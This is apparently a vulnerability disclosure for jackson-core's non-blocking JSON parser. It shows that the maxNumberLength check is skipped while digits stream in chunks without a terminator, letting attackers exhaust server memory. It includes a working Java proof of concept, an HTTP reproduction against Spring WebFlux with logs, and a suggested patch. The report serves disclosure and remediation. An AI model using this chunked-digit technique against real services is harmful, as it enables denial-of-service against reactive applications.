jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

• com.fasterxml.jackson.core:jackson-core 2.18.6
• com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:

if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}

Site 2 — _finishNumberIntegralPart lines 1691-1727:

protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}

Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.

Setup:

• Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
• jackson-databind 2.17.2, jackson-core overridden:
  • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
  • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
• JVM: OpenJDK 17.0.18
• Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one HTTP chunk per feedInput (the same pattern used for any @RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with maxNumberLength=1000 declared. The validator never fires during streaming; it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses maxNumberLength=1000. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload.

Side-by-side:

| Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |

Note on the default @RequestBody Mono<JsonNode> path: that path cannot distinguish the two builds because Spring's decodeToMono joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> / WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call), which is also what Jackson2Tokenizer uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.